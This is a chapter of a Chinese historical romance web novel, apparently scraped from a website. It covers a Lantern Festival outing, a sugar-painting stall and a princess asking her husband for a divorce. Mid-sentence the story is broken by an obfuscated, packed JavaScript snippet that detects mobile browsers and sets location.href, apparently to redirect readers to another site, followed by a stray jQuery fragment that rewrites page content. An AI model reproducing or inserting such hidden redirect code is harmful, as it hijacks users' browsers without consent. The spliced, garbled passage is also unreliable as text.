第七十八章繁华之后
这群孩童踮着脚尖，还不及摊位高，仰着小脸一派天真烂漫，却给摊主带来了前所未有的职业危机。
非是老板孤陋寡闻，没听说过这些传说中的异兽名号，但真要他一一说准这些神兽的具体模样，再当场画出来，那可就难为他了。
可若直接推说做不了……倒不是他财迷心窍舍不得生意，实在是拉不下这张老脸，更见不得孩子们失望。
他擦了擦额角在冬日里急出的薄汗，目光在孩童们中间逡巡，最后落在梳着双螺髻、眉心点着朱砂的女童身上：“你要白泽是吧？那……那我考考你，这白泽长什么模样？”
被点名的女童瞪着乌溜溜的大眼睛，脆生生答道：“我知道！白泽的头像虎，身体像龙，还有角呢！”
她话音未落，其他孩子已七嘴八舌嚷开。
“朱雀的羽毛会冒火，嗯……”
“饕餮长着羊面人身，虎齿人爪，腋下生着眼睛哩！”
……
“你们懂的真多。”老板动作麻利，硬着头皮按孩子们的描述现学现卖。
好在这些神兽本就只在传说之中，无人得见真容，只要画得大致符合描述似模似样，便也没人能说个不是。
孩子们显然是一伙的，一个个拿到糖画也不急着走，攥着竹签依旧簇拥在摊位前，瞪着亮晶晶的眼睛巴望着。
直到最后一个扎冲天辫的小男孩也心满意足地拿到了糖画，他们才呼啦啦一阵风似的跑远了。
焕游笙瞥见摊主低头收起铜钱，脸上全无对钱财的渴望，反倒是一副劫后余生的庆幸。
她将刚要出口的“凤凰”咽了回去，转而道：“老板，要只兔子。”
“好嘞！”摊主应得爽快，脸上笑开了几道褶子——画这寻常玩意儿，对现在的他而言简直如同休息。
不消片刻，一只栩栩如生的兔子糖画便递了过来。
焕游笙接过，顺手塞到慕容遥手中，付了钱，两人便又汇入了熙熙攘攘的人流。
“孩童可爱时是真可人，闹腾起来也是真磨人。经此一役，这位摊主怕是要考虑转行了。”慕容遥将兔子耳朵的糖尖儿含在口中。
方才那乌泱泱一片叽叽喳喳的景象，他虽看不太清，动静倒是听了个大概。
焕游笙颔首：“事有两面。所谓‘力尽不知热，但惜夏日长。’若摊主家无隔夜粮，百姓也无闲钱买这零嘴，生意久久不开张，他断然不会觉得孩童闹腾辛苦，只怕盼都盼不来呢。”
“阿笙说得在理。”慕容遥轻叹，“到底是朝中重臣，见识不同。”
焕游笙略显无奈：“扶南又打趣我。”
慕容遥敛了敛笑意，正色道：“也不全然是打趣，是真心赞慕。若满朝文武皆如阿笙这般，心系黎庶，而非汲汲营营于结党贪权，不知该有多好。”
焕游笙自然听出他话中所指正是庆王夏元忠。
作为天子近臣，她知晓的内情远比旁人多。
陛下曾私下对她坦言，并非不知夏元忠此人才干平平，且心胸狭窄、嫉贤妒能。
然而夏家作为帝之母族，与陛下同气连枝，在许多紧要关头，确是倾力相护。
这是那些所谓治世能臣也不能比的。
而夏元忠已是夏家后辈中最成器的一个，更是陛下看着长大的侄儿。
只要他不生出反心，哪怕只有那么一点点堪用的本事，除此以外周身上下全是短处，陛下也只能寄望于他能长进，而不能弃他不顾。
“是人皆有私心。”焕游笙只道了这么一句。
她话说得含蓄，慕容遥却听得明白。
纵使皇帝是“真龙天子”“弥勒转世”，终究也是凡胎肉身，自有她的私心权衡。
“若只是私心倒也罢了。这两年隐隐有风声，说是要拥立那位……也真是堪忧。”慕容遥轻咬另一只兔耳，糖浆在舌尖缓缓化开，“罢了，不提这些扫兴事。”
前方槐树下立着两道熟悉人影。
焕游笙脚步微顿，见对方也望了过来，便快步迎上：“公主殿下，薛将军。”
慕容遥视线依然模糊，却也不妨碍他循礼与二人一一见过。
早听闻薛乘风近日归朝与公主小聚，上元佳节在此偶遇，倒也不足为奇。
世安公主欢喜地唤了一声：“焕姐姐！”目光随即落在慕容遥手中精巧的糖画上，又补了句，“慕容大人。”
慕容遥向来志不在庙堂，近年又因目力不济，只在司农寺下属领了个七品诸仓监丞的闲职。
在洛阳这“一块牌匾掉下来能砸中仨官”的地界，实在算不得显赫。
但看在他乃已故慕容太傅之子、几位兄长皆颇有建树的面子上，众人见了，仍会尊称一声“大人”。
“公主出来多久了？”焕游笙温声问道，“可要同行赏灯？”
世安公主叹了口气：“我已有些乏了，正要打道回府。”
“那请公主在此稍候，我去去便回。”焕游笙道。
公主虽不明所以，仍顺从地点点头，显出几分乖巧。
焕游笙快步走向不远处的茶摊，用几个铜钱租了条长凳搬来，让公主坐着歇息片刻，这才走远。
焕游笙一走，公主便沉默下来，以她的身份也无需刻意寒暄，只轻轻荡着双脚，仰头眨巴着眼观赏头顶绚烂的花灯。
约莫一盏茶的工夫，焕游笙的身影重新出现在世安公主眼前。
她一手举着个猫儿造型的糖画，一手捏着个小油纸包。
公主接过那可爱的猫儿糖画，不知怎的，眼圈倏地一红。
她眼巴巴地看着焕游笙又将油纸包递给薛乘风。
“臣记得公主从前最爱饴糖。这糖画易化，公主先吃着解馋。油纸包里是饴糖，带回去，公主可随时甜甜嘴。只是也莫要多吃，仔细坏了牙齿。”焕游笙嘱咐。
世安公主嘴角带笑：“旁人都说我长大了，当做什么不当做什么，就焕姐姐，还这般叮咛。”
“那公主长大了，可还爱吃糖？”焕游笙含笑问。
“自然是爱吃的。”公主答得干脆利落，只是那份执着，终究不似儿时那般炽烈了。
“那就好。”焕游笙放下心来，“我送公主回府。”
世安公主摇摇头：“这倒不用。今日这般热闹，焕姐姐与慕容大人合该玩得尽兴才是。”
有驸马薛乘风在侧，焕游笙也不坚持：“既然如此，公主早些回府歇息吧。”
“嗯。”公主摆手转身，身影渐没入灯火阑珊处。
公主府距此不远，无需车马。
世安公主在前头缓步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724420|162089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前行，薛乘风始终保持着三步之距。
正月的夜风带着凉意，糖画的甜蜜在她口中弥漫开来，心底却悄然泛起一丝酸涩。
薛乘风一路将公主送回寝殿，又将手中那包饴糖交给侍女翠晴，便欲转身去书房。
“等等。”公主的声音从身后传来。
他依言转身，却见公主背对着他。
“公主？”薛乘风语带询问。
世安公主缓缓回身，一手拿着啃了一半的猫儿糖画，另一手捻着一根光秃秃、被磨得发亮的竹签。
“这是……”薛乘风愈发茫然。
世安公主定定地看着他，一字一句清晰吐出：“薛乘风，我们和离吧。”
薛乘风像是从未想过会听到这句话，怔在原地，眼中震惊与不解交织。
公主也不催促，径自在榻边坐下。
过了半晌，薛乘风才像魂魄归窍般，声音有些发紧，听不出是紧张还是悲伤，更像是纯粹的困惑：“……为何？”
“你或许不记得了，这根竹签，是你我定亲的那个上元夜，你送我的糖人儿留下的。”世安公主垂下眼，语速有些慢，似在追忆往昔，“那时你举着糖人，直挺挺杵在朱雀桥头，活像根描金灯柱。我便觉得，这份笨拙的赤诚，真可爱。”
她轻轻叹息：“但我错了，从一开始就错了。那时我还太年少，也太自以为是。我心悦你，即便我根本不了解你，即便我甚至分不清我究竟是喜欢你这个人，还是迷恋旁的什么……我只知道，我心悦你，我就可以得到你。”
“那时的我从没有想过，你竟可能……不心悦我。这世上，竟会有人……不喜欢我？”
世安公主的声音不觉拔高，薛乘风的声音就更低了些：“我没有……没有不喜欢……”
他的话不知是反驳，还是喃喃自语。
世安公主却笑了，似有积压已久的苦涩涌上喉头：“不，你不喜欢。”
她说：“从前我也不懂。自那场盛世大婚后，你总是不在京城，旁人都道我可怜，我却浑然不觉。你好容易回来一趟，旁人为我高兴，连母皇也特意准假让我陪伴你，我仍不解其意。可今日，我见了焕姐姐与慕容公子相处的样子……忽地就明白了。”
“你看。”世安公主晃了晃手中半融的猫儿糖画。
自方才起，薛乘风便如提线木偶，一个指令一个动作。
他依言看向那糖画，脑中却像蒙了层雾，混沌不明，眼中满是茫然。
“你不明白？”公主问。
见他摇头，那神态竟依稀似当年桥头模样，带着熟悉的憨态。
公主道：“你若真心待我，我便无须珍藏这旧竹签。即便聚少离多，你归家时，我手上也会有你新赠的糖人儿才是。”
“我……”薛乘风刚想开口，又被公主截断。
她又说：“其实，我也未必真的心悦于你。我只是……欣赏你，向往你，觉得你好。我守着这竹签，不过是因为我怀念那时活在美梦里的自己罢了。”
她的目光清泠泠的，直能望进人内心深处：“我若真心悦你，便该好好守护你心爱的蓝田玉花盆里那珍贵的企剑白墨兰，而不是在你离家半年后，就任由猫儿将它们糟蹋殆尽。”
小剧场：
薛乘风：谁懂啊？回个家，家没了……